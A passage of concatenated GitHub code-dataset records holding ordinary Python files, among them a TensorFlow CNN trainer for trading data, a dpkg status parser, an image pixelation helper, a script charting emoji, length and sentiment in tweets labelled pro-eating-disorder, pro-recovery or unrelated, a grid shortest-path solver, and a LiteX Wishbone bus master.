input_shape[3])\n\n '''-----Model framework: CNN+2Dense-----'''\n conv1 = tf.layers.conv2d(\n inputs=input_layer,\n filters=n_filters, \n kernel_size=[1, n_inputs], \n padding=\"valid\",\n activation=tf.nn.relu)\n '''\n #The second convolution layer and pooling layer are abandoned because of bad experiment outcomes\n conv2 = tf.layers.conv2d(\n inputs=conv1,\n filters=n_filters,\n kernel_size=[3, 1], \n padding=\"valid\",\n activation=tf.nn.relu)\n pool1 = tf.layers.average_pooling2d(inputs=conv2, pool_size=[2, 1], strides=[2, 1])\n '''\n pool2_flat = tf.reshape(conv1, [-1, n_steps * n_filters])\n pool2_flat = tf.layers.dropout(pool2_flat, rate=dropout_rate, training=tf_is_training)\n dense1 = tf.layers.dense(inputs=pool2_flat, units=n_neurons[0], activation=tf.nn.relu)\n dense1 = tf.layers.dropout(dense1, rate=dropout_rate, training=tf_is_training)\n dense2 = tf.layers.dense(inputs=dense1, units=n_neurons[1], activation=tf.nn.relu)\n logits = tf.layers.dense(inputs=dense2, units=n_label)\n\n '''-----Define loss function and optimizer----'''\n x_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=y, logits=logits)\n loss = tf.reduce_mean(x_entropy)\n optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate)\n training_op = optimizer.minimize(loss)\n\n '''-----Compute accuracy of prediction-----'''\n prediction = tf.nn.softmax(logits)\n correct = tf.nn.in_top_k(prediction, y, 1)\n accuracy = tf.reduce_mean(tf.cast(correct, tf.float32))\n\n '''-----Draw metrics in tensorboard-----'''\n s_loss_train = tf.summary.scalar('loss_train', loss)\n s_loss_test = tf.summary.scalar('loss_test', loss)\n train_accuracy = tf.summary.scalar('train_accuracy', accuracy)\n test_accuracy = tf.summary.scalar('test_accuracy', accuracy)\n\n init = tf.global_variables_initializer()\n saver = tf.train.Saver()\n merged_train = tf.summary.merge([s_loss_train, train_accuracy])\n merged_test = tf.summary.merge([s_loss_test, test_accuracy])\n\n np.set_printoptions(suppress=True)\n np.set_printoptions(threshold=np.inf)\n\n\n '''-----Fetch data and devide them into training set and test set-----'''\n data_x, data_y = data_prepare.fetch_data(d_begin, d_end, frequency, train_stocks, features, s_point, day_period)\n data_x = data_x.reshape(data_x.shape[0], n_steps, n_inputs)\n data_x = data_prepare.data_normalize(data_x)\n train_x, train_y, test_x, test_y = data_prepare.data_seperate(data_x, data_y, train_scale)\n n_batch = floor(len(train_x) / batch_size)\n\n '''-----BEGIN training-----'''\n with tf.Session() as sess:\n init.run()\n writer = tf.summary.FileWriter(log_path, sess.graph)\n for epoch in range(n_epoch):\n print('—— epoch:', epoch)\n train_x_b, train_y_b = data_prepare.fetch_train_batch(train_x, train_y, batch_size, n_batch, n_steps,n_inputs)\n for batch_index in range(n_batch):\n x_batch = train_x_b[batch_index]\n y_batch = train_y_b[batch_index]\n sess.run(training_op, feed_dict={x: x_batch, y: y_batch, tf_is_training: True})\n summary_train = sess.run(merged_train, feed_dict={x: train_x, y: train_y, tf_is_training: False})\n summary_test = sess.run(merged_test, feed_dict={x: test_x, y: test_y, tf_is_training: False})\n writer.add_summary(summary_train, epoch)\n writer.add_summary(summary_test, epoch)\n summary_test_value = accuracy.eval(feed_dict={x: test_x, y: test_y, tf_is_training: False})\n print('accuracy of epoch No.', epoch, ':', summary_test_value)\n\n with open(report_path, 'w', encoding='utf-8') as f:\n pred_prob = np.array(prediction.eval(feed_dict={x: test_x, tf_is_training: False}),\n dtype=np.float32)\n pred_y = np.argmax(pred_prob, axis=1)\n target_names = ['class 0', 'class 1', 'class 2', 'class 3']\n\n report = classification_report(test_y, pred_y, target_names=target_names)\n f.write(report)\n cm = confusion_matrix(test_y, pred_y)\n plot_confusion_matrix(cm, target_names, 'index')\n plot_confusion_matrix(cm, target_names, 'columns')\n f.write(str(cm))\n\n save_path = saver.save(sess, model_path)\n writer.close()\n\n","repo_name":"JimmyYoungggg/DL_on_Trading_Data","sub_path":"CNN_model/train_CNN_model.py","file_name":"train_CNN_model.py","file_ext":"py","file_size_in_byte":6546,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"39040676770","text":"from typing import List\nimport sqlite3, os, re\n\nfrom modules.Package import Package\nfrom modules.DBConnection import DBConnection\nimport modules.utils as utils\n\nclass DpkgParser:\n\t\"\"\"\n\tClass for parsing the file and committing it to the database\n\t\"\"\"\n\n\tdef __init__(self):\n\t\t\"\"\"\n\t\tLoads the contents of dpkg/status into an array of strings.\n\t\t\"\"\"\n\n\t\tif os.access(\"/var/lib/dpkg/status\", os.R_OK):\n\t\t\tfilepath = \"/var/lib/dpkg/status\"\n\t\telse:\n\t\t\tfilepath = \"example_dpkg_status\"\n\n\t\twith open(filepath) as f:\n\t\t\tself.lines = f.readlines()\n\n\tdef initialisePackages(self):\n\t\t\"\"\"\n\t\tLoop through all the packages once to insert all the names into the DB\n\t\t\"\"\"\n\t\tpackages = []\n\n\t\tfor line in self.lines:\n\t\t\tif re.match(\"Package: \", line):\n\t\t\t\tname = line[line.find(\" \") + 1:-1]\n\t\t\t\tpackages.append((name,)) # DB expects a tuple\n\n\t\tdbConnection = DBConnection()\n\t\tdbCursor = dbConnection.connection.cursor()\n\n\t\tquery = 'INSERT INTO packages (\"name\") VALUES (?);'\n\t\tdbCursor.executemany(query, packages)\n\t\tdbConnection.connection.commit()\n\t\tdbConnection.close()\n\n\tdef completePackageInformation(self):\n\t\t\"\"\"\n\t\tTraverse file again to read and add all the other parsed data\n\t\t\"\"\"\n\t\tdbConnection = DBConnection()\n\t\tdbCursor = dbConnection.connection.cursor()\n\n\t\tstrictDeps, subDeps = [], []\n\t\tinDescription = False\n\t\tdescription, descriptionSummary, name = '', '', ''\n\t\tfor line in self.lines:\n\t\t\tif re.match(\"package: \", line.lower()):\n\t\t\t\tname = line[line.find(\" \") + 1:-1]\n\t\t\t\tinDescription = False\n\n\t\t\telif re.match(\"version: \", line.lower()):\n\t\t\t\tversion = line[line.find(\" \") + 1:-1]\n\n\t\t\telif re.match(\"(pre-)?depends: \", line.lower()):\n\t\t\t\tutils.parseDependencies(line, strictDeps, subDeps)\n\n\t\t\telif re.match(\"description: \", line.lower()):\n\t\t\t\tdescriptionSummary = line[line.find(\" \") + 1:-1]\n\t\t\t\tinDescription = True\n\n\t\t\telif re.match(r\"\\n\", line):\n\t\t\t\tthisPkg = Package(\n\t\t\t\t\tname=name,\n\t\t\t\t\tversion=version,\n\t\t\t\t\tdescriptionSummary=descriptionSummary,\n\t\t\t\t\tdescription=description,\n\t\t\t\t\tstrictDeps=strictDeps,\n\t\t\t\t\tsubDeps=subDeps\n\t\t\t\t)\n\t\t\t\tthisPkg.addToDB(dbCursor)\n\t\t\t\tsubDeps, strictDeps = [], []\n\t\t\t\tdescription, descriptionSummary, name = '', '', ''\n\t\t\t\tinDescription = False\n\n\t\t\t# Multiline descriptions handled here\n\t\t\telif inDescription and re.match(r\" \", line):\n\t\t\t\t# Maintainer wants an empty line here\n\t\t\t\tif re.match(r\" .\\n\", line):\n\t\t\t\t\tdescription += \"\\n\"\n\t\t\t\t# Otherwise just concatenate\n\t\t\t\telse:\n\t\t\t\t\tdescription += line[1:]\n\t\telse:\n\t\t\tif len(name):\n\t\t\t\tthisPkg = Package(\n\t\t\t\t\tname=name,\n\t\t\t\t\tversion=version,\n\t\t\t\t\tdescriptionSummary=descriptionSummary,\n\t\t\t\t\tdescription=description,\n\t\t\t\t\tstrictDeps=strictDeps,\n\t\t\t\t\tsubDeps=subDeps\n\t\t\t\t)\n\t\t\t\tthisPkg.addToDB(dbCursor)\n\n\t\tdbConnection.connection.commit()\n\t\tdbConnection.close()\n","repo_name":"kimsappi/dpkg-status","sub_path":"modules/DpkgParser.py","file_name":"DpkgParser.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"34195007423","text":"from PIL import Image\nimport requests\n\ndef get_image_from_url(url, name):\n response = requests.get(url)\n file = open(f'{name}.png', \"wb\")\n file.write(response.content)\n file.close()\n return f'{name}.png'\n\ndef pixelate(input_file_path, output_file_path, pixel_size):\n palette = [\n 255, 148, 37,\n 132, 0, 127,\n 27, 20, 100,\n 111, 188, 255,\n ]\n image = Image.open(input_file_path)\n image = image.resize(\n (image.size[0] // pixel_size, image.size[1] // pixel_size),\n Image.NEAREST\n )\n image = image.resize(\n (image.size[0] * pixel_size, image.size[1] * pixel_size),\n Image.NEAREST\n )\n\n p_img = Image.new('P', (16, 16))\n p_img.putpalette(palette * 64)\n\n conv = image.quantize(palette=p_img, dither=0)\n conv.save(output_file_path)\n\n\ndef get_url(input_file_path, output_file_path, pixel_size, url):\n get_image_from_url(url, input_file_path)","repo_name":"piotrksiazek/Hacnkarok2021","sub_path":"picture.py","file_name":"picture.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"23656375687","text":"import pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport numpy as np \nimport re\nfrom edit_datasets import write_csv\nimport matplotlib.ticker as mtick\nimport math\nimport emoji\nimport nltk\nfrom nltk.sentiment import SentimentIntensityAnalyzer\nfrom matplotlib.font_manager import FontProperties\nimport mplcairo\nmatplotlib.use(\"module://mplcairo.qt\")\n\n\n\ndef get_dataframe(filename,labels):\n df = pd.read_csv(filename,names=labels)\n return df\n\ndef label_distribution(df):\n nr_of_datapoints = len(df.index)\n dist = df.groupby('label').count() / nr_of_datapoints*100\n print(dist)\n\ndef string_distribution(df, string):\n dist = df[(df['text'].str.contains(string))].groupby('label').count() / df.groupby('label').count()\n return dist \n\ndef word_count_dist(df):\n new_list = []\n for index, row in df.iterrows():\n label = row['label']\n twt = re.sub('[^A-Za-z0-9 ]+', '', row['text']).split()\n length = len(twt)\n if (length > 1000):\n continue\n new_list.append([label, length])\n new_df = pd.DataFrame(new_list, columns=['label', 'word_count'])\n dist = new_df.groupby('label')['word_count'].value_counts()\n print(new_df.groupby('label')['word_count'].mean())\n print(new_df['word_count'].mean())\n visualize_word_reddit(dist)\n\ndef replace_emojis(s):\n text = s.split()\n for i in range(len(text)):\n if 'EMOJI' in text[i]:\n text[i] = 'e'\n text = \" \".join(text)\n return text\n\ndef length_distribution1(df):\n new_list = []\n for index, row in df.iterrows():\n label = row['label']\n text = replace_emojis(row['text'])\n length = len(text)\n if ((length < 5) or (length > 4000)):\n continue\n new_list.append([label, length])\n new_df = pd.DataFrame(new_list, columns=['label', 'string length'])\n dist = new_df.groupby('label')['string length'].value_counts()\n print(new_df.groupby('label')['string length'].mean())\n print(new_df['string length'].mean())\n visualize_char_reddit(dist)\n\ndef group_length_dist3(series, nr):\n new_list= [0]*nr\n check = 0\n total = series.sum()\n for index, value in series.items():\n new_list[math.floor(index/10) -1 ] += value\n final = [x / total for x in new_list]\n return final\n\ndef series_to_nested_list_write_file(series):\n proEDs = series['proED']\n prorecs = series['prorecovery']\n unrelateds = series['unrelated']\n labels = list(set(list(proEDs.index) + list(prorecs.index) + list(unrelateds.index)))\n\n proED = series_to_list(proEDs, len(labels))\n prorec = series_to_list(prorecs, len(labels))\n unrelated = series_to_list(unrelateds, len(labels))\n\n final_list = [proED, prorec, unrelated]\n print(final_list)\n write_csv(final_list, 'word_count_dist.csv')\n\ndef visualize_word(series):\n proEDs = series['proED']\n prorecs = series['prorecovery']\n unrelateds = series['unrelated']\n width = 0.3\n labels = list(set(list(proEDs.index) + list(prorecs.index) + list(unrelateds.index)))\n proED = series_to_list(proEDs, len(labels))\n prorec = series_to_list(prorecs, len(labels))\n unrelated = series_to_list(unrelateds, len(labels))\n\n r2 = np.arange(len(labels))\n r1 = [x - width for x in r2]\n r3 = [x + width for x in r2]\n\n fig, ax = plt.subplots()\n\n rects1 = ax.bar(r1, proED, width, edgecolor='white', label='proED')\n rects2 = ax.bar(r2, prorec, width, edgecolor='white', label='prorecovery')\n rects3 = ax.bar(r3, unrelated, width, edgecolor='white', label='unrelated')\n\n ax.set_xticks(labels)\n\n ax.set_xticklabels(labels)\n ax.yaxis.set_major_formatter(mtick.PercentFormatter(1.0))\n\n [l.set_visible(False) for (i,l) in enumerate(ax.xaxis.get_ticklabels()) if (i % 5)-4 != 0]\n\n ax.set_xlabel('Number of words')\n ax.set_ylabel('Percentage')\n\n ax.legend()\n\n fig.tight_layout()\n #plt.savefig('word_length_distribution.png')\n plt.show()\n\ndef visualize_char(series):\n proEDs = series['proED']\n prorecs = series['prorecovery']\n unrelateds = series['unrelated']\n labels = []\n proED, prorec, unrelated = '', '', ''\n width = 3\n\n length = 30\n proED = group_length_dist3(proEDs, length)\n prorec = group_length_dist3(prorecs, length)\n unrelated = group_length_dist3(unrelateds, length)\n labels = np.arange(10, length*10+1, 10).tolist()\n \n r2 = labels\n r1 = [x - width for x in r2]\n r3 = [x + width for x in r2]\n\n fig, ax = plt.subplots()\n\n\n rects1 = ax.bar(r1, proED, width, edgecolor='white', label='proED')\n rects2 = ax.bar(r2, prorec, width, edgecolor='white', label='prorecovery')\n rects3 = ax.bar(r3, unrelated, width, edgecolor='white', label='unrelated')\n\n ax.set_xticks(labels)\n\n ax.set_xlabel('Number of characters')\n ax.set_ylabel('Percentage')\n\n ax.set_xticklabels(labels)\n ax.yaxis.set_major_formatter(mtick.PercentFormatter(1.0))\n ax.legend()\n\n fig.tight_layout()\n #plt.savefig('char_length_distribution.png')\n plt.show()\n\ndef series_to_list(series, nr):\n new_list= [0]*nr\n total = series.sum()\n for i in range (len(new_list)):\n if series.get(i):\n new_list[i] = series.get(i)/total\n return new_list\n\ndef dist_twitter_terms(df_data):\n emoji = string_distribution(df_data, 'EMOJI')\n mention = string_distribution(df_data, 'MENTION')\n url = string_distribution(df_data, 'URL')\n proED = [emoji.loc['proED']['text'], mention.loc['proED']['text'], url.loc['proED']['text']]\n prorec = [emoji.loc['prorecovery']['text'], mention.loc['prorecovery']['text'], url.loc['prorecovery']['text']]\n unrelated = [emoji.loc['unrelated']['text'], mention.loc['unrelated']['text'], url.loc['unrelated']['text']]\n \n # proED = [emoji.loc['proED']['text'], url.loc['proED']['text']]\n # prorec = [emoji.loc['prorecovery']['text'], url.loc['prorecovery']['text']]\n # unrelated = [emoji.loc['unrelated']['text'], url.loc['unrelated']['text']]\n\n # print(emoji)\n # print(url)\n # print(proED)\n # print(prorec)\n # print(unrelated) \n\n labels = ['EMOJI', 'MENTION', 'URL']\n #labels = ['EMOJI','URL']\n\n width = 0.3\n\n r2 = np.arange(3)\n #r2 = np.arange(2)\n r1 = [x - width for x in r2]\n r3 = [x + width for x in r2]\n\n fig, ax = plt.subplots()\n\n rects1 = ax.bar(r1, proED, width, edgecolor='white', label='proED')\n rects2 = ax.bar(r2, prorec, width, edgecolor='white', label='prorecovery')\n rects3 = ax.bar(r3, unrelated, width, edgecolor='white', label='unrelated')\n\n ax.set_xticks([0,1,2])\n #ax.set_xticks([0,1])\n\n ax.set_xticklabels(labels)\n ax.yaxis.set_major_formatter(mtick.PercentFormatter(1.0))\n ax.set_xlabel('Internet term')\n ax.set_ylabel('Percentage')\n\n ax.legend()\n\n fig.tight_layout()\n plt.show()\n\ndef get_most_popular_emojis(df):\n emojis = {}\n for index, row in df.iterrows():\n text = row['text'].split()\n for item in text:\n if 'SkinTone' in item:\n continue\n if item.find('EMOJI') != -1:\n if item in emojis.keys():\n emojis[item] += 1\n else:\n emojis[item] = 1\n print(emojis)\n most_popular = sorted(emojis, key=emojis.get, reverse=True)[:6]\n print(most_popular)\n return most_popular\n\ndef popular_emojis(df):\n proED = []\n prorec = []\n unrelated = []\n most_popular = get_most_popular_emojis(df)\n for emojii in most_popular:\n e = string_distribution(df, emojii)\n print(e)\n proED.append(e.loc['proED']['text'])\n prorec.append(e.loc['prorecovery']['text'])\n unrelated.append(e.loc['unrelated']['text'])\n \n #most_popular = [':red_heart:', ':loudly_crying_face:', ':face_with_tears_of_joy:',':folded_hands:', ':sparkles:', ':clapping_hands:']\n most_popular_twitter = ['EMOJIRedHeart', 'EMOJILoudlyCryingFace', 'EMOJIFaceWithTearsOfJoy', 'EMOJIFoldedHands', 'EMOJISparkles', 'EMOJIClappingHands']\n #most_popular_reddit = ['EMOJIRedHeart', 'EMOJIFire', 'EMOJIRocket', 'EMOJIFemaleSign', 'EMOJILightSkinTone', 'EMOJIMediumLightSkinTone']\n most_popular_reddit = [':red_heart:', ':fire:', ':rocket:', ':female_sign:', ':male_sign:', ':rainbow:']\n twitter_emojis = ['❤️', '😭', '😂', '🙏' ,'✨', '👏']\n \n prop = FontProperties(fname='/System/Library/Fonts/Apple Color Emoji.ttc')\n\n width = 0.3\n\n r2 = np.arange(6)\n r1 = [x - width for x in r2]\n r3 = [x + width for x in r2]\n\n fig, ax = plt.subplots()\n\n rects1 = ax.bar(r1, proED, width, edgecolor='white', label='proED')\n rects2 = ax.bar(r2, prorec, width, edgecolor='white', label='prorecovery')\n rects3 = ax.bar(r3, unrelated, width, edgecolor='white', label='unrelated')\n\n ax.set_xticks(np.arange(6))\n\n ax.set_xticklabels(twitter_emojis, fontproperties=prop)\n ax.yaxis.set_major_formatter(mtick.PercentFormatter(1.0))\n ax.set_xlabel('Emoji')\n ax.set_ylabel('Percentage')\n\n ax.legend()\n\n fig.tight_layout()\n plt.show()\n\ndef compute_sentiment(s):\n analyzer = SentimentIntensityAnalyzer()\n sentiment = analyzer.polarity_scores(s)['compound']\n if sentiment >= 0.05:\n return 'pos'\n elif sentiment <= -0.05:\n return 'neg'\n else:\n return 'neu'\n\ndef sentiment_analysis(df): \n new_list = []\n for index, row in df.iterrows():\n text = row['text']\n label = row['label']\n sentiment = compute_sentiment(text)\n new_list.append([label, sentiment])\n new_df = pd.DataFrame(new_list, columns=['label', 'sentiment'])\n dist = new_df.groupby('label')['sentiment'].value_counts()\n print(new_df.groupby('label')['sentiment'].value_counts())\n visualize_sentiment(dist)\n\ndef visualize_sentiment(series):\n proEDs = series['proED']\n prorecs = series['prorecovery']\n unrelateds = series['unrelated']\n width = 0.3\n labels = ['Positive', ' Neutral', 'Negative']\n\n proED = series_to_list(proEDs, len(labels))\n prorec = series_to_list(prorecs, len(labels))\n unrelated = series_to_list(unrelateds, len(labels))\n\n print(proED)\n print(prorec)\n print(unrelated)\n\n r2 = np.arange(len(labels))\n r1 = [x - width for x in r2]\n r3 = [x + width for x in r2]\n\n fig, ax = plt.subplots()\n\n rects1 = ax.bar(r1, proED, width, edgecolor='white', label='proED')\n rects2 = ax.bar(r2, prorec, width, edgecolor='white', label='prorecovery')\n rects3 = ax.bar(r3, unrelated, width, edgecolor='white', label='unrelated')\n\n ax.set_xticks(r2)\n\n ax.set_xticklabels(labels)\n ax.yaxis.set_major_formatter(mtick.PercentFormatter(1.0))\n\n\n ax.set_xlabel('Sentiment')\n ax.set_ylabel('Percentage')\n\n ax.legend()\n\n fig.tight_layout()\n #plt.savefig('sentiment_distribution.png')\n plt.show()\n\ndef group_length_dist50(series, nr):\n new_list= [0]*nr\n check = 0\n total = series.sum()\n for index, value in series.items():\n new_list[math.floor(index/100) ] += value\n final = [x / total for x in new_list[:-1]]\n return final\n\ndef visualize_word_reddit(series):\n proEDs = series['proED']\n prorecs = series['prorecovery']\n unrelateds = series['unrelated']\n labels = []\n proED, prorec, unrelated = '', '', ''\n width = 20\n\n length = 10\n proED = group_length_dist50(proEDs, length)\n prorec = group_length_dist50(prorecs, length)\n unrelated = group_length_dist50(unrelateds, length)\n labels = np.arange(100, length*100+1, 100).tolist()\n \n r2 = labels[:-1]\n r1 = [x - width for x in r2]\n r3 = [x + width for x in r2]\n\n fig, ax = plt.subplots()\n\n rects1 = ax.bar(r1, proED, width, edgecolor='white', label='proED')\n rects2 = ax.bar(r2, prorec, width, edgecolor='white', label='prorecovery')\n rects3 = ax.bar(r3, unrelated, width, edgecolor='white', label='unrelated')\n\n ax.set_xticks(labels)\n\n ax.set_xlabel('Number of words')\n ax.set_ylabel('Percentage')\n\n ax.set_xticklabels(labels)\n ax.yaxis.set_major_formatter(mtick.PercentFormatter(1.0))\n ax.legend()\n\n #[l.set_visible(False) for (i,l) in enumerate(ax.xaxis.get_ticklabels()) if ((i+1) % 5) != 0]\n\n\n fig.tight_layout()\n #plt.savefig('char_length_distribution.png')\n plt.show()\n\ndef group_length_dist100(series, nr):\n new_list= [0]*nr\n check = 0\n total = series.sum()\n for index, value in series.items():\n new_list[math.floor(index/100) - 1 ] += value\n final = [x / total for x in new_list[:-1]]\n return final\n\ndef visualize_char_reddit(series):\n proEDs = series['proED']\n prorecs = series['prorecovery']\n unrelateds = series['unrelated']\n labels = []\n proED, prorec, unrelated = '', '', ''\n width = 20\n\n\n length = 40\n proED = group_length_dist50(proEDs, length)\n prorec = group_length_dist50(prorecs, length)\n unrelated = group_length_dist50(unrelateds, length)\n labels = np.arange(100, length*100+1, 100).tolist()\n\n\n r2 = labels[:-1]\n r1 = [x - width for x in r2]\n r3 = [x + width for x in r2]\n\n fig, ax = plt.subplots()\n\n rects1 = ax.bar(r1, proED, width, edgecolor='white', label='proED')\n rects2 = ax.bar(r2, prorec, width, edgecolor='white', label='prorecovery')\n rects3 = ax.bar(r3, unrelated, width, edgecolor='white', label='unrelated')\n\n ax.set_xticks(labels)\n\n ax.set_xlabel('Number of characters')\n ax.set_ylabel('Percentage')\n\n ax.set_xticklabels(labels)\n ax.yaxis.set_major_formatter(mtick.PercentFormatter(1.0))\n ax.legend()\n\n [l.set_visible(False) for (i,l) in enumerate(ax.xaxis.get_ticklabels()) if ((i+1) % 5) != 0]\n\n\n fig.tight_layout()\n #plt.savefig('char_length_distribution.png')\n plt.show()\n\n \n\nlabels_twitter = ['tweet_id','user_id','name','screen_name','description','text','label']\nlabels_reddit = ['post_id', 'subreddit', 'text', 'label']\n\n\ndf_data = get_dataframe('./smack.csv', labels=labels_twitter)\ndf_data = df_data[df_data['label'] != 'label']\n#sentiment_analysis(df_data)\n\n\n#label_distribution(df_data)\n#word_count_dist(df_data)\n#length_distribution1(df_data)\n#dist_twitter_terms(df_data)\npopular_emojis(df_data)","repo_name":"eirikdahlen/MSc-Computer-Science-2021","sub_path":"data_collection/characteristics.py","file_name":"characteristics.py","file_ext":"py","file_size_in_byte":14164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"5886916169","text":"# This problem was asked by Google.\n# You are given an M by N matrix consisting of booleans that represents a board. \n# Each True boolean represents a wall. Each False boolean represents a tile you can \n# walk on.\n# Given this matrix, a start coordinate, and an end coordinate, return the minimum number \n# of steps required to reach the end coordinate from the start. If there is no possible \n# path, then return null. You can move up, left, down, and right. You cannot move through \n# walls. You cannot wrap around the edges of the board.\n# For example, given the following board:\n# [[f, f, f, f],\n# [t, t, f, t],\n# [f, f, f, f],\n# [f, f, f, f]]\n# and start = (3, 0) (bottom left) and end = (0, 0) (top left), the minimum number of \n# steps required to reach the end is 7, since we would need to go through (1, 2) because \n# there is a wall everywhere else on the second row.\n\nimport basics\nfrom collections import deque\n\nclass Node:\n def __init__(self, x, y, dist=0):\n self.dist = dist\n self.x = x\n self.y = y\n\ndef min_path():\n m = basics.getNumber('Number of columns: ')\n n = basics.getNumber('Number of rows: ')\n\n matrix = []\n for i in range(0,n):\n row = [] \n for j in range(0,m):\n has_wall = basics.getString()\n if has_wall == 't':\n row.append(True)\n else:\n row.append(False)\n matrix.append(row)\n\n start_x = basics.getNumber('Start X: ')\n start_y = basics.getNumber('Start Y: ')\n \n end_x = basics.getNumber('End X: ')\n end_y = basics.getNumber('End Y: ')\n\n visited = []\n for i in range(0,m):\n row = [] \n for j in range(0,n):\n row.append(False)\n visited.append(row)\n \n if (matrix[start_x][start_y] == True):\n return -1\n \n que = deque()\n que.appendleft(Node(start_x, start_y, 0))\n\n while(len(que) > 0):\n current = que.popleft()\n print('current X: ', current.x, 'current Y: ', current.y, 'dist: ', current.dist)\n if (current.x == end_x and current.y == end_y):\n return current.dist\n print('after condition')\n visited[current.x][current.y] = True\n\n #Note that normal append() is used here, since we want those nodes pushed\n #to the end\n if(not(current.x + 1 < 0 or current.x + 1 >= m or \\\n current.y < 0 or current.y >= n or \\\n visited[current.x+1][current.y] or \\\n matrix[current.x+1][current.y])):\n que.append(Node(current.x+1, current.y, current.dist+1))\n if(not(current.x - 1 < 0 or current.x - 1 >= m or \\\n current.y < 0 or current.y >= n or \\\n visited[current.x-1][current.y] or \\\n matrix[current.x-1][current.y])):\n que.append(Node(current.x-1, current.y, current.dist+1))\n if(not(current.x < 0 or current.x >= m or \\\n current.y + 1 < 0 or current.y + 1 >= n or \\\n visited[current.x][current.y + 1] or \\\n matrix[current.x][current.y + 1])):\n que.append(Node(current.x, current.y+1, current.dist+1))\n if(not(current.x < 0 or current.x >= m or \\\n current.y - 1 < 0 or current.y - 1 >= n or \\\n visited[current.x][current.y - 1] or \\\n matrix[current.x][current.y - 1])):\n que.append(Node(current.x, current.y - 1, current.dist+1))\n\n return -1\n\ndef main():\n print(min_path())\n\nif __name__ == '__main__':\n main()","repo_name":"Bobby-Wan/Daily-Coding-Problems","sub_path":"problem23.py","file_name":"problem23.py","file_ext":"py","file_size_in_byte":3494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"70619709671","text":"from litex.soc.interconnect.csr import AutoCSR, CSR, CSRAccess, CSRField, CSRStorage\nfrom litex.soc.interconnect import wishbone\nfrom migen import If, Module, Signal\nfrom .csrextra import CSRStatusAndControl\n\nclass WBMaster(Module, AutoCSR):\n\n def __init__(self):\n self.wishbone = wishbone.Interface(data_width=8, adr_width=32)\n self._addr = CSRStorage(32, write_from_dev=True)\n self._data = CSR(8)\n self._status_control = CSRStatusAndControl(fields=[\n CSRField(\"write_on_wdata\", 1),\n CSRField(\"inc_on_wdata\", 1),\n CSRField(\"read_on_rdata\", 1),\n CSRField(\"inc_on_rdata\", 1),\n CSRField(\"read_on_waddr\", 1),\n CSRField(\"inc_on_waddr\", 1),\n CSRField(\"read_now\", 1, access=CSRAccess.WriteOnly, pulse=True),\n CSRField(\"inc_now\", 1, access=CSRAccess.WriteOnly, pulse=True),\n CSRField(\"error\", 1, access=CSRAccess.ReadOnly),\n CSRField(\"busy\", 1, access=CSRAccess.ReadOnly)])\n\n self.comb += [\n self._addr.dat_w.eq(self._addr.storage + 1),\n self._addr.we.eq(\n self._status_control.fields.inc_now |\n (self._status_control.fields.inc_on_waddr & self._addr.re) |\n (self._status_control.fields.inc_on_rdata & self._data.we) |\n (self._status_control.fields.inc_on_wdata & self._data.re))]\n\n start_read = Signal()\n self.comb += start_read.eq(\n self._status_control.fields.read_now |\n (self._status_control.fields.read_on_waddr & self._addr.re) |\n (self._status_control.fields.read_on_rdata & self._data.we))\n\n start_write = Signal()\n self.comb += start_write.eq(\n self._status_control.fields.write_on_wdata & self._data.re)\n\n data = Signal(8)\n self.comb += self._data.w.eq(data)\n self.sync += If(self._data.re, data.eq(self._data.r)\n ).Elif(self.wishbone.cyc & self.wishbone.ack &\n ~self.wishbone.we, data.eq(self.wishbone.dat_r))\n\n self.sync += If(self.wishbone.cyc,\n If(self.wishbone.ack | self.wishbone.err,\n self.wishbone.cyc.eq(0),\n self.wishbone.stb.eq(0),\n self._status_control.fields.error.eq(self.wishbone.err))\n ).Elif(start_read | start_write,\n self.wishbone.adr.eq(self._addr.storage),\n self.wishbone.we.eq(start_write),\n self.wishbone.cyc.eq(1),\n self.wishbone.stb.eq(1))\n self.comb += [\n self.wishbone.dat_w.eq(data),\n self.wishbone.sel.eq(1)]\n\n self.comb += self._status_control.fields.busy.eq(self.wishbone.cyc)\n","repo_name":"zeldin/RVCop64","sub_path":"hw/rtl/wbmaster.py","file_name":"wbmaster.py","file_ext":"py","file_size_in_byte":2845,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"71"} +{"seq_id":"12036942302","text":"from django.conf.urls import patterns,url\nfrom eventos import views\n \n\nurlpatterns = patterns('',\n url(r'^$', views.noticias, name='noti_index'),\n url(r'^nueva_noticia/$', views.nueva_noticia, name='nueva_noti'),\n url(r'^modificar_noticia/(?P\\d+)/$', views.modificar_noticia, name='modificar_noticia'),\n url(r'^mod_noticia/$', views.mod_not, name='mod_not'),\n)\n","repo_name":"mfalcon/edujango","sub_path":"eventos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"2196768787","text":"from ..epilog import epilog\n\nimport argparse\n\ndef define_parser():\n parser = argparse.ArgumentParser(\n description=__doc__,\n epilog=epilog)\n\n ####################################################################\n # Specific arguments\n ####################################################################\n\n specific = parser.add_argument_group(\n \"\"\"Setup of a two-block stimulus design\"\"\")\n\n specific.add_argument('--mat',\n default='{cohort}-{id:04d}-{paradigm}-{date}.mat',\n help = \"\"\"Path to Matlab coded stimulus designs.\"\"\")\n\n specific.add_argument('--mat-prefix',\n #default='raw/mat/{paradigm}',\n default='',\n help = \"\"\"Prefix for the path to Matlab coded stimulus designs.\"\"\")\n\n ####################################################################\n # File handling\n ####################################################################\n\n file_handling = parser.add_argument_group(\n \"\"\"File handling\"\"\")\n\n lock_handling = file_handling.add_mutually_exclusive_group()\n\n lock_handling.add_argument('-r', '--remove-lock',\n action='store_true',\n help=\"\"\"Remove lock, if file is locked. This is useful, if\n used together with -s/--skip to remove orphan locks.\"\"\")\n\n lock_handling.add_argument('-i', '--ignore-lock',\n action='store_true',\n help=\"\"\"Ignore lock, if file is locked. Together with\n 